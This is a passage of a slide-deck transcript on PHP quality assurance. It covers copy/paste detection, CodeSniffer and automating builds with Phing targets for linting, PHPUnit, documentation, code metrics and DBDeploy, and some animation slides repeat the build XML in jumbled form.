  • 162. What?•- detects similar code snippets plain copy/paste work - similar code routines• indicates problems - maintenance hell - downward spiral of disasters• stimulates improvements - refactoring of code - moving similar code snippets in common routines
  • 163. PHP CodeSniffer
  • 164. Required evil•- validates coding standards consistency - readability• set as a policy for development• reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code• can be set as pre-commit hook - but can cause frustration!!!
  • 165. Performance Analysis
  • 166. https://twitter.com/#!/andriesss/status/189712045766225920
  • 167. Automating
  • 168. Key reason“computers are great at doing repetitive tasks very well”
  • 169. Repetition• syntax checking• documenting• testing• measuring
  • 170. Why Phing?• php based (it’s already on our system)• open-source• supported by many tools• very simple syntax• great documentation
  • 171. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  • 172. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"><project set global and local properties --> <!-- name="Application build" default="phplint"> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  • 173. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <!-- set file="build.properties"/> <property <property file="local.properties" properties --> global and local override="true" /> <property file="build.properties" /> <property our code base files --> <!-- define file="local.properties" override="true" /> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  • 174. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define ourour code files --> <!-- define code base base files --> <fileset dir="${project.basedir}" id="phpfiles"> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  • 175. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <!-- let’s validate the syntax of our code base --> <phplint haltonfailure="true"> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> <fileset refid="phpfiles" /> </phplint> </phplint> </target> </target></project>
  • 176. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project></project>
  • 177. build.propertiesproject.title=WeCyclephpbook:qademo dragonbe$ cat build.properties# General settingsproject.website=http://wecycle.localproject.title=WeCycle# AB Testing propertiesabrequests=1000abconcurrency=10
  • 178. local.propertiesproject.website=http://qademo.localabrequests=1000abconcurrency=10db.username=qademo_userdb.password=v3rRyS3crEtdb.hostname=127.0.0.1db.dbname=qademo
  • 179. Let’s run it
  • 180. Artifacts• some tools provide output we can use later• called “artifacts”• we need to store them somewhere• so we create a prepare target• that creates these artifact directories (./build)• that gets cleaned every run
  • 181. Prepare for artifacts<target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /></target>
  • 182. phpdoc2<target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /></target>
  • 183. PHPUnit<target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /></target>
  • 184. PHP_CodeSniffer<target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /></target>
  • 185. Copy Paste Detection<target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd></target>
  • 186. PHP Mess Detection<target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd></target>
  • 187. PHP Depend<target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend></target>
  • 188. PHP CodeBrowser<target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/></target>
  • 189. Create a build procedure<target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /></target>
  • 190. Other things to automate• server stress-testing with Apache Benchmark• database deployment with DBDeploy• package code base with Phar•- transfer package to servers with FTP/SFTP - scp/rsync• execute remote commands with SSH• … so much more
  • 191. Example DBDeploy<target name="dbdeploy" description="Update the DB to the latest version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/></target>
  • 192. Build it
  • 193. Continuous Integration
  • 194. Now you are a winner!
  • 195. Team Works!
  • 196. Conclusion
  • 197. Get your information in a consistent, automated way and make it accessible for the teamMore people can better safeguard the code!
  • 198. Recommended reading• the PHP QA book - Sebastian Bergmann - Stefan Priebsch
  • 199. Recommended reading Free• OOD Quality Metrics - Robert Cecil Martin http://www.objectmentor.com/publications/oodmetrc.pdf
  • 200. Feedback/Questions Michelangelo van Dam michelangelo@in2it.be @DragonBe
  • 201. Thank you
  • 202. http://joind.in/6522
  • 203. CreditsI’d like to thank the following people for sharing their creative commons picturesmichelangelo: http://www.flickr.com/photos/dasprid/5148937451birds: http://www.flickr.com/photos/andyofne/4633356197safeguarding: http://www.flickr.com/photos/infidelic/4306205887/bugs: http://www.flickr.com/photos/goingslo/4523034319behaviour: http://www.flickr.com/photos/yuan2003/1812881370prevention: http://www.flickr.com/photos/robertelyov/5159801170progress: http://www.flickr.com/photos/dingatx/4115844000workout: http://www.flickr.com/photos/aktivioslo/3883690673measurement: http://www.flickr.com/photos/cobalt220/5479976917team spirit: http://www.flickr.com/photos/amberandclint/3266859324time: http://www.flickr.com/photos/freefoto/2198154612continuous reporting: http://www.flickr.com/photos/dhaun/5640386266deploy packages: http://www.flickr.com/photos/fredrte/2338592371race cars: http://www.flickr.com/photos/robdunckley/3781995277protection dog: http://www.flickr.com/photos/boltofblue/5724934828gears: http://www.flickr.com/photos/freefoto/59825499381st place: http://www.flickr.com/photos/evelynishere/3417340248elephpant: http://www.flickr.com/photos/drewm/3191872515